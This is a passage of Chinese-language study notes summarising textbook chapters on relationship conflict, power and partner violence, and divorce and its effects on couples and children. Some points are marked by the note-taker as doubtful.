  • 或许在行为的具体内容上容易达成共识，但同时对行为原因的解释可能存在分歧
  • 归因式的争辩通常很难得到解决，因为有人与我们争执时，我们往往认为他们有偏差，而这更让人生气
  • 善意的归因用有利的眼光来看待伴侣，使得冲突更可能得到解决 ，这类归因能增进亲密关系持续满意度
  • 当感到愤怒时，就表达出愤怒，几乎总是让人感到更愤怒
  • 愤怒发泄出来就好，这种观点似乎是常识，但实际上愚不可及
  • 处理愤怒
    • 首先，可以换一种思维和归因方式
    • 其次，如果变得愤怒，请冷静下来，切忌盛怒之下与人交往

介入和升级

  • 只有在伴侣双方都希望避开争端，才能避免冲突
  • 并且只有在以下两种情况下，争端才会消失得无影无踪
    • 要么激发事件微不足道，不值得积极地争执
    • 要么问题看来很难处理，冲突没有任何好处

  • 伴侣在争斗时会提及彼此卑鄙、恶劣的事物
  • 恶毒的言论有两类表达手段
    • 直接手段：明确地挑战自己的伴侣
      • 批评伴侣的指责和负面性质的归因
      • 要求服从的带有敌意的命令，有时会涉及伤害身体或感情的威胁
      • 提出对抗性的问题
      • 粗暴或嘲讽的贬抑之词，传递出厌恶或不赞成（包括好争辩地打断伴侣和大声喝止伴侣的说话）
    • 间接手段：以不太坦率的方式处理冲突
      • 故作高贵、屈尊俯就或者暗示敌意或傲慢等负面特征
      • 烦躁不安的情感，诸如忧郁、沮丧或哀号
      • 先发制人地企图改变话题
      • 不承认冲突的闪烁或推脱言词
    • 所有这些一般只会激发冲突而非解决冲突
  • 暴躁而愤怒的交往会影响身体健康
    • 增加人们的心率和血压
    • 分泌大量的应激荷尔蒙如肾上腺素
    • 抑制人的免疫功能
  • 亲密关系中遭遇大量粗暴冲突的人更有可能罹患心脏病
  • 安全依恋类型的人在面对冲突时，其生理反应更温和
  • 忧虑被弃程度高的人在冲突中会变得紧张，增高心率和血压，久而久之会导致高血压

要求/退避模式

定义

  • 一方（要求者）批评、不断唠叨、向另一方提出要求，而伴侣（退避者）逃避正面接触、退避、采取守势

态度

  • 应该反对这一模式 ，部分原因是这种模式能自行延续
    • 受到退避者消极退缩的影响，要求者可能更加坚持解决争端
    • 然而，增加的压力往往使得退避者甚至更加抵触，沉默寡言
    • 这种模式会继续下去
    • 要求者会感到忽视和误解
    • 损害夫妻对亲密关系的满足感
  • 两性在对冲突的其他反应方面差别不大， 但在要求/退避模式上差异明显
  • 在全世界，多数情况下女性是要求者而男性是退避者
  • 对于上述现象的可能原因
    • 性认同差异
      • 社会鼓励女性公开、有表达能力，而鼓励男性独立、自主
      • 要求/退避模式可能产生于女性寻求亲近而男性却要保护他们的自主
    • 社会结构假设
      • 要求/退避模式产生于男性和女性在社会和婚姻等方面权力上的差异
      • 男性在异性恋关系中一般比女性拥有更多的权力
      • 如果男性能随心所欲、为所欲为，就可能会抵抗改变
    • 这两种解释大体上都正确

协商和顺应

应对

  • 最好的情况：彼此对对方都具有应答性（反应灵敏），每一方都能根据对方的反应感觉到确认
  • 彼此友善相待的各种方法
    • 直接手段：公开地处理争端
      • 通过接受责任或者做出让步或妥协表明解决问题的意愿
      • 通过复述表明支持对方的观点
      • 用“第一人称陈述”进行自我表露
      • 提供赞许和关爱
    • 间接手段：绕开争端但又能平息消极情感
      • 友好的、没有讥讽意义的幽默，能放松心情
      • 戏弄或奚落对方的恶毒性幽默没有益处
      • 尊敬对方的诙谐及友好的鼓励在亲密冲突中 特别受欢迎
      • 能平息愤怒的情绪

不满的反应类型

  1. 讨论：主动并有建设性，通过与伴侣讨论问题、改变自己的行为、获取朋友或治疗师的建议从而改善交往情境
  2. 忠诚：被动但有建设性，乐观地等待条件改善
  3. 离开：主动但具破坏性，离开伴侣、威胁要结束亲密关系或者施虐行为，如大喊大叫、大打出手
  4. 忽视：被动且有破坏性，避免讨论关键性的问题、减少与伴侣的相互依赖
  • 忠诚常常被忽视，没什么好处
  • 当个体变得忽视，就会袖手旁观，眼睁睁地看着情势恶化
  • 能忍受彼此偶尔的激怒，不做出敌对反应的人,往往比那些不太宽容、总是睚眦必报的人更幸福

建议

  1. 保持乐观
  • 坚信创造性合作，彼此慷慨地关照对方能解决（大部分）问题
  • 积极期望有助于达成共识，而悲观主义只会让事情更糟
  1. 尊重自己及伴侣的意见
  2. 在激烈的讨论中偶尔暂停一下，尤其在有人感到厌烦或恼怒的时候

应对冲突：四类夫妻

多变型

  • 亲密关系能够持续
  • 争吵频繁、激烈
  • 努力说服影响对方
  • 负面情感水平较高
  • 能运用智慧和真诚缓和愤怒

确认型

  • 亲密关系能够持续
  • 比多变型更镇定
  • 解决冲突时更像合作者而非对手
  • 讨论可能会变得激烈，但常常能通过表达同理心、理解对方的观点而彼此确认

逃避型

  • 亲密关系能够持续
  • 很少争吵
  • 无法避免冲突时，也非常温和谨慎
  • 常常只靠自己的力量试图解决冲突
  • 或者静观其变，希望时间流逝有助于解决问题
  • 讨论很少带有感情色彩，无论正面负面
  • 解决争端的方法通常一点不具有针对性

敌对型

  • 亲密关系不能持续
  • 充斥批评、蔑视、防卫和退避
  • 彼此恶意相待

结果

结束

分离

  • 定义：伴侣一方或双方在冲突没有解决时就退出
  • 然而它提不出解决问题的方法，只是延迟了未来的不和

支配

  • 定义：伴侣一方得逞， 另一方停止反抗
  • 多发生在一方比另一方更强大情形下
  • 强势方通常对这样的结果感到满意
  • 失败者对于支配是非常反感的，心中可能会滋生敌意和憎恨

妥协

  • 定义：双方都降低期望以找到双方都能接受的替代办法
  • 当一方所得只有在对方蒙受损失的情况下才能实现时，妥协才可能是解决冲突的最好方式
  • 一般情况下，通常会有更好的解决办法

整合式一致

  • 定义：具有创造性、灵活性地满足双方最初的目标和期望
  • 整合一致不容易达到，往往需要做出一些努力

结构性改善

  • 定义：伴侣不仅得到他们想要的，而且从中得到学习和成长，使他们的关系发生可喜的变化

  • 这种冲突结果并不常见，通常是重大动乱和剧变的结果

  • 结构性改善使得伴侣们的境况变得更好：

  • 　　规范亲密关系的因果条件会发生某些变化。

    　　伴侣们彼此都更为了解。伴侣都把比以前更宝贵的品质归因于对方。

    　　在平安度过狂风暴雨般的冲突之后，伴侣比以前更信任对方和他们的亲密关系，因而愿意以更乐观和更有创造力的方式去解决先前逃避的争端。

    　　随着这些变化的发生，亲密关系的质量会在冲突即时爆发之后的各种情境下一直得到改善。

益处

一些结论

  • 伴侣们未表达出的烦心事和引起愤怒的刺激物越多，则往往对自己的亲密关系越不满意
  • 从冲突中退避的新婚夫妇，并没有解决他们的分歧，在今后的岁月里往往更不快乐
  • 受到婚姻困扰却不能畅言的中年妇女比起她们直言不讳的邻居来，在未来 10 年里死亡的可能性高达 4 倍
  • 见证了父母之间暴力冲突的男孩在成年后处理冲突的能力非常拙劣，比他们的同辈更暴躁和尖刻

建议

  1. 成功的冲突管理包括自我控制
  • 在保持乐观、避免罪责归因、掌控愤怒上越努力，就越有可能变得宽容、灵活、有创造力，越有可能达到整合式一致
  1. 不要退避
  • 不能解决任何问题
  1. 不要消极
  2. 不要陷入负面情感相互作用的怪圈
  • 非常重要
  • 当你意识到你和伴侣正在你来我往地破口大骂，侮辱和谴责变得越来越强烈时，请停止
  • 休息 10 分钟，做好准备，平静下来，再返回你的讨论并为上次的过激言辞道歉

一些重要的人际关系科学结论

  • 冲突不可避免
  • 冲突非常常见
  • 中年夫妻两个最重大的冲突源是孩子和金钱
  • 善意的归因用有利的眼光来看待伴侣，使得冲突更可能得到解决
  • 愤怒而暴躁的交往会危害身体健康
  • 应该反对要求/退避模式
  • 在全世界，多数情况下女性是要求者而男性是退避者
  • 尊敬对方的诙谐及友好的鼓励在亲密冲突中特别受欢迎
  • 冲突结束的五种方式
  • 关于遭遇冲突的建议
  • 说话者—听话者技术

第十二章：权力和暴力

定义

  • 权力：影响他人行为并抵制他人影响自己的一种能力
  • 暴力：针对于人们所使用的心理和身体攻击

权力和相互依赖

权力的来源

  • 较小利益原则 ：在任何伴侣关系中，对于继续和维持亲密关系利益较小的一方，在伴侣关系中拥有更多的权力
  • 相互依赖理论的权力观
    • 命运控制：无论伴侣怎么做，对方都能控制伴侣的关系结果
    • 行为控制：个体通过改变自己的行为来鼓励伴侣也朝着理想的方向来改变其行动就是行为控制

资源的类型

男女两性和资源的控制

  • 大部分的异性恋的亲密关系中居于优势地位的是男性
  • 两性难以实现公平的原因
    1. 男性和女性一般面临着相对资源的差异
    2. 社会规范支持并维持男性的支配地位
      • 如果女性处在领导岗位，直截了当地命令别人行事,人们对她们的评价常常比对男性更苛刻
      • 美国人往往希望他们的外科医生、律师和飞行驾驶员为男性，而非女性
      • 小学老师也往往被人视为女性
      • 文化规范仍然束缚着女性
    3. 人们不确定男女平等应该是什么样子
  • 尽管夫妻们表示关注伴侣关系平等，但大部分异性恋夫妻仍能容忍大量的不平等，而且他们完全认识不到他们伴侣关系不平等的程度
    • 在视男性主导为理所当然的文化中，一视同仁地尊重伴侣双方利益的真正平等，毫无疑问还不多见，有时甚至显得有点怪异或过分
  • 男性由于体型更大、力量更强通常还有许多强迫权力
    • 但强迫是个体得到自己想要的事物的一种笨拙、有害的方法
    • 恐惧和惩罚令人嫌恶，并且会滋生不满
  • 强迫通常是影响亲密关系愚蠢而适得其反的手段

权力的过程

谈话

  • 两人之间的谈话可能会受到双方权力平衡的影响
    • 不管交往的结果怎样，女性在与男性谈话时都会显得轻声细语，一般不会表现得与其他女性谈话时那般轻松自如，不会表现出含蓄内隐的气势和权力（存疑）
    • 详而言之，她们能容许自己更多地被男性打断，而不是反过来打断男性（存疑）
  • 人们判断打断谈话的人比被打断的人地位更高、权力更大（存疑）

非言语行为

  • 权重之人较权轻之人的人际距离更大，表现更丰富的面部表情，姿势更不对称，占据更大的空间

非言语的敏感性

  • 女性在判断他人情绪和意图方面一般比男性更精确
    • 女性对非言语沟通的解码要比男性更准确
    • 这一技能是女性的巨大的财富
    • 因为夫妻之间非言语沟通的敏感性和准确度能预测他们彼此的满意度
  • 女性是非言语沟通的熟练工
    • 她们能获得宝贵的信息，这使得她们能成为令人愉快的伴侣，增加她们对男性的影响力
    • 另一方面，她们面对男性的表现就如同下属和上司在交往
    • 讽刺的是，这种实用而称心的才能或许使得刻板模式持续存在：女性的举止好像使她成了男性的仆从

权力的风格

  • 能够成功地影响伴侣的人同样会与伴侣论理争辩、谈判协商以获得他们的服从（使之心服口服）
  • 相反，权力较少的人不太可能寻求伴侣的合作，他们只会跑到一边做自己的事情
  • 关于性行为
    • 当人们不想使用避孕套时，他们通常根本不提自己的看法
    • 相反，他们一般设法引诱他们的伴侣，使伴侣变得非常兴奋，从而使性事不被避孕套打断的情况下进行到底
    • 因此，如果要确保安全的性行为，自己要保持清醒，并请记住，你背后有支持你的社会规范，你的意见可能比伴侣的任何辩护都更有道理
    • 不要陷入思维的误区，以为伴侣比你更能控制局势
  • 异性亲密关系中，男性一般比女性更为坦诚自信，而女性通常显得更为犹豫不决
  • 重要的是，这一模式并非是真正的性别差异，而是两性相对资源所重重包裹的性认同差异

其他

  • 权重之人的自负还表现在他们对自已适配价值的自我觉知上
  • 与权重之人相比，那些人微言轻的人会遭受到更多的抑郁，行动更为谨慎，非常害怕受到别人的惩罚
  • 个体选择的策略仍更多地受到在特定交往中的 地位 而非 性别角色 的影响
  • 权力的不平等与亲密关系中的不满有联系

权利的结果

  • 伴侣关系看似公平甚或完全平等，但事实上丈夫的影响比妻子的更大
  • 当男性放弃优越的权力时，亲密关系中的两性一般会双赢
    • 女性与男性相比，幸福程度大幅增加，冲突数量、婚姻问题和离婚倾向极大地减少
    • 男性的变化方向也一样：在平等的伴侣关系中，男性也更加幸福，不太容易离婚
    • 权力分享时双方都是赢家，没有人输，可能有一点例外：
      • 男性比过去要做更多的家务，他们不是很喜欢这一点
      • 他们的女性伴侣对这一变化感到欣喜

权力的两面性

  • 权力的不平衡会引起很多问题，但权力本身其实 没有 其内在的讨厌之处
  • 权力并不必然就具有侵蚀性、对人有害，相反，忠诚、幸福的爱人常常利用他们的影响力来使他们的伴侣获益，从而提升亲密关系
  • 权力也存在其阴暗的一面
    • 有些人（ 大部分是男性 ）努力想成为他们亲密关系中的胜利者，他们控制欲强、刚愎自用， 其伴侣通常不幸福
    • 权力对于他们很重要，如果他们不能通过更为合理的影响力来得偿所愿，他们就可能痛苦但有时有效地利用暴力来施加控制

亲密关系中的暴力

暴力的普遍性

  • 大多数女性（52%）和甚至更多的男性（66%）报告在他们的生命中曾受到身体攻击
  • 22% 的女性和 7% 的男性曾经遭到自己的亲密伴侣暴力攻击
  • 亲密伴侣中男性越多，暴力发生的可能性越大
  • 同性恋的女性遭受的暴力大约只有异性恋女性遭受的一半
  • 但同性恋男性经历的暴力要两倍于异性恋的男性
  • 最普遍的暴力形式是打耳光或者击打身体，但极少的场合下会使用刀枪

伴侣暴力的种类

  1. 情境性伴侣暴力 （situational couple violence，SCV）：一般从失去控制的剧烈冲突中突然爆发
  2. 亲密恐吓 （intimate terrorism，IT）：伴侣一方把暴力作为控制和压迫另一方的工具
  • 身体强制和胁迫仅仅是威胁、孤立和经济依附等一般暴力模式的手段之一
  • 一旦在亲密关系之中出现亲密恐吓，它比情境性伴侣暴力发生得更频繁
  • 亲密恐吓更可能是单方的，久而久之容易升级，对伴侣造成更严重的伤害
  1. 暴力抵抗 （violent resistance）：伴侣有力地对亲密恐吓进行反击

  • 暴力抵抗在一些亲密恐吓的情形下会发生，但并非所有的亲密恐吓都会产生暴力抵抗

  • 所以它是三种暴力中最不普遍的

  • 配偶守卫（mate-guarding）：努力管理和控制伴侣接近潜在情敌的机会，反之亦然

  • 暴力有时候也被人用来迫使配偶保持忠贞

  • 如果伴侣的占有欲开始变得粗暴，我们就应警惕：暴力或许就在眼前

亲密关系暴力中的性别差异

  • 男女两性都同样有可能发生冲动的情境性伴侣暴力
  • 但亲密恐吓则几乎全部都是由男性发起，女性也会进行亲密恐吓，但比男性少得多
  • 正因为这种不对称，暴力抵抗更多见于女性而非男性
  • 女性对她们的伴侣实施身体暴力的可能性实际上要稍多于男性
  • 女性更可能进行间接的攻击，比如通过散布谣言和小道消息试图破坏对方的声誉，但这并不是暴力（存疑）
  • 女性看来和男性一样具有暴力倾向，但她们不太可能造成身体受伤，也不太可能利用暴力作为持续 影响和支配他人的工具

暴力的相关因素

情景性伴侣暴力

I 立方模型（I3 model）
  1. 激发因素（instigating triggers）：引起伴侣一方或双方挫败或紧张不安
  2. 促动因素（impelling influences）：使伴侣更有可能体验到暴力冲动
  3. 抑制因素（inhibiting influences）：鼓励伴侣戒除冲动行为
激发因素
  • 男子如果在订婚时进行过身体攻击，在婚后 30 个月里有 76% 的人会再施加暴力，而且暴力行为还很严重
  • 亲密暴力偶尔是孤立的事件，但一旦发生，更多情况下会持续，至少会零星地再发
促动因素
  • 具有性别刻板印象的传统男性和不时默认暴力为正常做事方式的人一样容易发生亲密暴力
  • 回避亲密高的男性和忧虑被弃的女性，这样配对的伴侣更具暴力倾向
抑制因素
  • 美国北卡罗来纳州自控能力低的少年对恋爱对象暴力行为是自控能力高的少年的 7.5 倍
  • 具有高超问题解决技能的伴侣 和 对自己的亲密关系满意的伴侣 不太可能进行暴力侵犯
  • 饮酒会助长对亲密伴侣暴力
  • 对伴侣的承诺使得暴力更不可能发生

亲密恐吓

  • 恐吓自己伴侣的人大体分为两类
    • 采取暴力和伤害威胁只是防止伴侣离开自己
    • 另一些人反社会或相当自恋，暴力只是他们用来达成心愿的另一个工具
  • 成长于教导传统性别角色的家庭里的男性，一般比较敌视和仇恨女性
    • 他们比其他男性更可能视女性为对手，把女性当作满足和娱乐自己的工具（存疑）
    • 他们一般具有攻击性，会虐待他们的伴侣和宠物（存疑）
  • 男性是否可能成为施虐者通常在一开始就有很明显的信号
  • 在暴力家庭长大的孩子更可能有暴力倾向
  • 家庭暴力的循环中，施虐者的遗毒实际上在他们死后还在延续，后代爆发暴力的风险在增加

暴力的基本原理

  • 总的来说
    • 进行亲密恐吓的男性似乎赞成男性规则，凭此提升他对女性的权威，但许多男性对此却又感到能力不足
    • 他们“常常感到自己不符合这些规则的要求，甚至为此感到恐惧，为了支撑起他们男性的自我概念，他们可能试图控制别人，尤其是那些身体上比他们弱小的人”
    • 他们还感到男性理应比女性强势、优秀，所以他们有权利使用暴力来控制和处罚女性
  • 死缠烂打，讨厌的侵犯
    • 在某些亲密关系中还会发生另外一种令人不悦的行为，即侵犯式地追求别人
    • 骚扰者可能怀有恶意、疯狂或悲观
    • 死缠烂打不是小事，要摆脱骚扰非常困难
    • 亲密关系另一阴暗的代价是当伴侣一方想要退出时，亲密关系并不会完全结束
  • 亲密恐吓会对受害一方造成恐惧和伤害
    • 自尊程度降低，对男性失去信任，甚至会患上抑郁症和创伤后应激障碍
  • 面对如此暴力，女性在调查中普遍的想法（存疑）
    • 遭遇这些亲密攻击时通常会感到吃惊，往往会努力去理解它
    • 她们受到爱情规范的影响，鼓励她们“原谅并忘掉”
    • 她们还在文化规范下挣扎，认为她们的困境完全是咎由自取
    • 由于这些原因，女性感到被人背叛
    • 但她们有时还会因伴侣的攻击而责备自己，并且由于羞耻、幼稚或者无知，她们常常对自己的苦难保持沉默

受害者不离开的原因

  • 如果受害者对亲密关系的经济依赖和心理忠诚并不太高，但害怕发生更为严重的暴力，这也可能使亲密恐吓的受害者不敢离去
    • 应该尽一切努力援助和保护那些试图逃离施虐伴侣强迫权力的人们
  • 一个不幸的事实：有些人不离开暴力伴侣是因为她们不想离开
    • 忧虑被弃高的女性容易被占有欲和控制欲强的男性所吸引
    • 男性的侵犯式的嫉妒和监视使焦虑的伴侣感到安心，他仍然关心自己
    • 荒谬的是，这种依恋类型的女性在过去遭遇的心理虐待越多，就越偏爱施虐的男性
    • 并且，这样的男性也反过来也偏爱焦虑的女性，可能是因为她们能容忍他们的虐待
    • 然而，如果这类关系中的女性开始珍重自己，她们也可能认识到伴侣对待她们残酷、不公的行为无法接受
  • 权力是得偿所愿的重要手段，但暴力不应该牵涉其中

一些重要的人际关系科学结论

  • 较小利益原则
  • 大部分的异性恋的亲密关系中居于优势地位的是男性
  • 文化规范仍然束缚着女性
  • 强迫通常是影响亲密关系愚蠢而适得其反的手段
  • 女性在判断他人情绪和意图方面一般比男性更精确，这一技能是女性的巨大的财富
  • 权力模式并非是真正的性别差异，而是两性相对资源所重重包裹的性认同差异
  • 当男性放弃优越的权力时，亲密关系中的两性一般会双赢
  • 权力并不必然就具有侵蚀性、对人有害，相反，忠诚、幸福的爱人常常利用他们的影响力来使他们的伴侣获益，从而提升亲密关系
  • 暴力非常普遍
  • 亲密伴侣中男性越多，暴力发生的可能性越大
  • 女性对她们的伴侣实施身体暴力的可能性实际上要稍多于男性
  • 具有高超问题解决技能的伴侣 和 对自己的亲密关系满意的伴侣 不太可能进行暴力侵犯
  • I 立方模型（I3 model）
  • 在暴力家庭长大的孩子更可能有暴力倾向
  • 死缠烂打不是小事，要摆脱骚扰非常困难
  • 亲密关系另一阴暗的代价是当伴侣一方想要退出时，亲密关系并不会完全结束
  • 亲密恐吓会对受害一方造成恐惧和伤害
  • 有些人不离开暴力伴侣是因为不想离开

第十三章：亲密关系的解体与消亡

离婚率的变化

离婚的普遍性

  • 男性（首次）离婚的年龄中位数是 31.8 岁，而女性为 29.4 岁

离婚率增加的原因

  • 只是居住在一起的人都同样可能分手，都比夫妻更经常地分手
  • 婚姻或同性婚姻能增加亲密关系的筹码

　　社会文化强求婚姻成为个体生命中最亲密、最深厚、最重要和最长久的关系，自然就要求夫妻们做情人、朋友和相互之间的心理治疗师。然而矛盾的是，婚姻却可能日益缺乏必需的情感需求，以致解体。

  • 妻子每周工作的时间越长，其婚姻质量就往往越低
  • 在全世界，当女性能在经济上独立于男性时，离婚率就更高
  • 拥有金钱容易使人离婚，但贫穷更会引起紧张，损害婚姻
  • 经常移居的人比那些待在一个地方并扎根的人更容易离婚
  • 流行的观念认为同居是有价值的尝试，但同居与离婚率正相关
  • 随意的同居会导致：（所有这些都使人们更可能离婚）
    1. 对婚姻制度的不尊重
    2. 对婚姻结果的不利期望
    3. 更强烈的离婚意愿
  • 离婚率上升的可能原因
    • 对婚姻的高期望
    • 工作女性经济更自由，更有机会接近替代伴侣，工作和家庭的冲突日益严峻
    • 个人主义兴起和社会流动性
    • 新制定的离婚法律程序
    • 随意的同居削弱了婚姻的承诺
    • 离婚家庭的孩子长大后更可能离婚

离婚的征兆

障碍模型

  • 关系破裂的三种因素
    1. 吸引力
    2. 替代选择
    3. 社会障碍
    • 社会压力
    • 道德约束
    • 经济负担
    • 等
  • 部分认知到的离婚重要障碍
    • 担心孩子受苦
    • 失去孩子的威胁
    • 宗教规范
    • 对配偶的依赖
    • 对经济困境的恐惧

脆弱—应激—适应模型

脆弱

  • 个体成长家庭里的不幸经历
  • 受教育程度低
  • 适应不良的人格特质
  • 拙劣的社交技能
  • 对婚姻起反作用的态度
  • 等

应激

  • 一段时期的失业或重病在身
  • 怀孕、分娩和养育
  • 等
  • 不能成功地应对压力事件会使得压力更严重
    • 如果应对不力引起婚姻质量的下降，伴侣的应对能力或许会进一步受损

适应

  • 伴侣彼此提供支持并使用新的环境

其他

  • 脆弱一应激一适应模型中存在着反馈回路和交叉因素
  • 婚姻的质量取决于下面三者的相互作用，并且在某种程度上这三个重要的因素还会彼此影响
    • 我们是谁（脆弱）
    • 我们遭逢的环境（应激）
    • 我们应对环境的方式（适应）

亲密关系适应过程（PAIR）项目结果

持续的动力模型

  • 认为那些注定不满足的夫妻比起那些婚姻最终成功的夫妻，在婚姻一开始就爱意不足，彼此矛盾重重
  • 认为伴侣把求爱期间就浮现出的问题、矛盾及持续的脆弱带入了他们的婚姻之中

突现的危难模型

  • 认为最终毁灭伴侣的问题行为始于结婚之后

幻灭模型

  • 认为伴侣们在婚姻开始时，常常对他们的亲密关系有着美好、浪漫的看法，这是不切实际的乐观

其他

  • 持续的动力模型能预测婚姻将来的幸福程度
  • 然而，对夫妻实际上是否会离婚最好的预测因素是幻灭模型
    • 某些夫妻在婚姻的头一年，婚姻满意度的下降要比其他夫妻更急剧和显著
    • 他们是最容易离婚的夫妻
    • 注定要离婚的夫妻在婚姻刚开始时比大多数人更加充满深情
  • 浪漫爱情变化的大小和速度能最好地预测夫妻是否会离婚
  • 夫妻们带入婚姻的问题决定了离婚的快慢
  • 夫妻体验到的满意水平和满意的时间变化是影响关系结果的重要因素
  • 注定要离婚的夫妻并不总是变得暴躁和仇恨，但他们通常的确会失去他们曾经体验到的快乐

婚姻早期岁月（EYM）项目结果

  • EYM 的研究者特别关注夫妻面临的社会条件对婚姻结果的影响
  • 夫妻们的种族因素会造成巨大的差异
    • 只有三分之一略多（36%）的白人夫妻离异
    • 但超过一半（55%）的黑人夫妻解除了他们的婚姻关系
  • 夫妻们确立亲密关系的社会背景对他们的婚姻结果有重大的影响
  • 不管伴侣们是多么尊重和珍视婚姻，贫穷可能把任何夫妻都置于离婚的风险之中

婚姻问题的个体知觉

  • 影响婚姻结果的三大类因素

    1. 文化规范和其他变量
    • 确定了婚姻发生的基础
    • 是最广泛的影响因素
    1. 个人背景
    • 家人和朋友的社交圈等
    1. 关系背景
    • 伴侣们通过对彼此的知觉和互动缔造的亲密环境
    • 好心情，悲观戒备心理等等

  • 问及离婚者离异的原因时，提及次数最多的原因全都涉及婚姻关系的某些特征

    • 女性比男性更多抱怨不贞、物质滥用或者虐待行为
      • 物质滥用（substance use）：指包括酒精、影响精神的药物和其他化学品如挥发性溶剂的滥用
    • 男性比女性则更可能抱怨沟通不良或者宣称他们根本不知道哪里出错了
    • 平均而言，前妻的怨言要多于前夫
    • 但男女两性的解释都极少认可他们亲密关系发生的文化或个人背景可能带来的影响

  • 伴侣的社会经济地位（包括教育和收入）有助于预测他们遭遇的婚姻问题

  • 伴侣结婚的年龄也有影响：结婚时越年轻的人越有可能报告心生隔阂，存在酗酒和吸毒的问题

特定的离婚信号

分手

  • 离婚的决定源于对得失的复杂计算，涉及（有时不确定的）替代选择的考虑

与婚前伴侣的分手

  • 个体分手的努力是指向他人（设法保护伴侣的情感）还是指向自己（更自私地损害伴侣的情感）有重要区别
    • 有时人们在宣布结束关系的意图时，会给予伴侣反应的机会以保存颜面
    • 指向他人的直接分手策略虽会宣泄个体的不满，但彼此之间会进行详尽的讨论和协商，而不是强求结束关系
    • 相反，伴侣直接但更自私时，他们有时只是宣布关系已结束，躲避与前伴侣的任何进一步的接触
  • 其他区别还包括
    • 个体的不满逐渐或突然发作
    • 结束亲密关系的个人或共同愿望
    • 个体退出亲密关系时的迅速或拖延特征
      • 多数情况下，人们在成功退出关系前都要伪装好几次
    • 是否有修复关系的企图
      • 大多数时间，不会有正式的努力来修复关系
  • 当伴侣一方对亲密关系感到厌倦并开始注意其他人时，结束关系的过程通常就已经开始了

离婚的步骤

  • 不满意的夫妻通常要消耗婚姻的最后 5 年来考虑分手

分手的后果

解体后的关系

  • 分手后遭遇的重要事件大多数都会阻碍他们之间的关系，损害他们对分手之后朋友关系的投入
  • 伴侣结束亲密关系之后的交往或许会显得笨拙、不安，因为一方会嫉妒另一方新的爱情或者他们的性要求被断然拒绝

克服消极情绪

  • 分手常常看来很可怕，但分手对我们的伤害通常没有我们想象得那般严重
  • 沉溺只会延续苦恼，而反省（找寻经历中的意义并得到学习）是与正面适应和恢复联系在一起的

离婚不同于恋人分手

  • 婚姻的结束一般更为复杂
    • 分割财产、抚养小孩、遵从法律程序
    • 离婚会改变人的生活
    • 有时变好但更多的情况是变差

适应

  • 整体来看，离婚是困难的跋涉过程，人们在离婚后的岁月里并不太顺利
  • 离婚通常是人们生命中的重大事件，虽然时间能疗伤，但并不能彻底治愈伤口

需要认识到：丧亲之痛的程度是局外人很难理解的。

二十年后，寡妇或鳏夫仍旧会和他们失去的爱人在臆想中进行谈话，大约每月一次。

他们生活的满意度很长一段时间都在降低，在十年之后还会出现偶尔爆发的悲伤。

所以丧偶就像失去自己的孩子，这种伤害是永远忘不掉的。

这种丧亲之痛是人们任何时候都不能完全忘记的。

  • 再婚常常是离异单身人士生活的转折点，与其幸福的增加有关联
  • 离异未再婚的人在接下来的 40 年期间比再婚的同龄人死亡的可能性高出 55%
  • 但无论是否再婚，离婚 6 年之后就有超过四分之三的人报告他们的离婚是件好事

社交圈子

  • 人们在离婚后的数年里社交圈子一般变得更小
    • 并且，个体社交圈子里剩下的人员并非全部都是支持式的
  • 女性离婚后，财务状况通常会恶化
    • 这一现象会持续几十年
    • 部分原因是离婚后只有 50% 的前夫会支付他们本应支付的儿童抚养费
    • 而且几乎有四分之一的人连监护费用也一起忽略
  • 离婚后男性的经济状况不太可能像女性一样下降
    • 家庭收入通常也会下降，但他们在婚后比女性更可能独自生活
    • 离婚后女性通常可能要抚养子女
  • 平均而言，离婚后女性的生活标准降低了，而男性提高了

前配偶之间的关系

  • 一般有四种类型

    1. 暴躁的仇敌
    2. 愤怒的同伴
    3. 合作的同事
    4. 完美的朋友

  • 美国中西部离异夫妻的样本中，在离婚一年之后， 前配偶有

    • 一半有着友好的关系（38% 的合作的同事，12% 的完美的朋友）
    • 一半有着痛苦的关系（25% 的愤怒的同伴，25% 的暴躁的敌人）

父母离异的孩子

  • 与那些父母仍维持婚姻的人相比，父母离异的儿童在青少年期和成人早期幸福的水平都较低
    • 他们的心理适应能力低下
    • 体验到更多的消沉和焦虑
    • 对生活满意度较低
  • 离婚家庭的子女比其他人更可能离异
    • 这些影响一般不是很严重，但是确凿无疑
    • 父母离异的整体影响始终是负面的，但程度相对适中

  • 双亲丧失 观点：假定拥有父爱和母爱能让儿童获益，不论何种理由（包括离婚），儿童在失去父亲或母亲后景况就可能不太好
  • 双亲应激 模型：认为最关键的问题是儿童接受到的养育质量而非数量，任何能干扰或削弱养育儿童的应激源（包括离婚）都会产生有害的影响
  • 双亲冲突 ：父母之间尖酸刻薄的交往看来让他们的孩子难以承受
    • 无论是否离婚，家庭冲突都容易让孩子拥有：
      • 更高的焦虑
      • 更差的健康
      • 以及更多的问题行为
    • 是最有影响力的因素
  • 如果儿童生活在持续发生冲突的家庭之中，父母不离婚时他们的情况更糟糕
  • 当离婚能结束愤怒、困难重重的家庭时，儿童的幸福几乎就没有一点下降
  • 痛苦的夫妻是否应该“为了孩子而在一起” 取决于他们能否彼此以礼相待
  • 当和平的婚姻破裂时儿童就会受到伤害，但如果家庭充满冲突，则离婚会让儿童的境况变得更好
  • 离婚家庭的儿童体验到的许多糟糕后果随着时间会逐渐减少
  • 如果子女能享受到免于贫困的自由，得到关爱、可靠和持续的养育，免受父母冲突的戕害，他们]就能幸福地成长

一些重要的人际关系科学结论

  • 同居与离婚率正相关
  • 浪漫爱情变化的大小和速度能最好地预测夫妻是否会离婚
  • 夫妻们带入婚姻的问题决定了离婚的快慢
  • 不管伴侣们是多么尊重和珍视婚姻，贫穷可能把任何夫妻都置于离婚的风险之中
  • 分手虽然看来很可怕，但分手对我们的伤害通常没有我们想象得那般严重
  • 丧偶之痛和丧亲之痛的程度极深，一般常人难以理解
  • 如果儿童生活在持续发生冲突的家庭之中，父母不离婚时他们的情况更糟糕
  • 当离婚能结束愤怒、困难重重的家庭时，儿童的幸福几乎就没有一点下降
  • 当和平的婚姻破裂时儿童就会受到伤害，但如果家庭充满冲突，则离婚会让儿童的境况变得更好

第十四章：亲密关系的维持和修复

前十三章章前复习

消极

  • 通常期望男性具有的行为风格——鼓励他们果断自信、 自强自立而非温情脉脉、亲切体贴——并不能把他们训练成长期亲密关系中最理想的伴侣
  • 低自尊的人常常会小题大做或者知觉到根本不存在的排斥，从而破坏他们自己的亲密关系
  • 临近、熟识和方便能决定有奖赏价值的亲密关系到底能否开始，我们与许多人都可以建立美满的亲密关系，只不过我们遇不见他们而已
  • 长相很重要，如果你的外貌没有吸引力，很多人会忽视你，不想与你结识
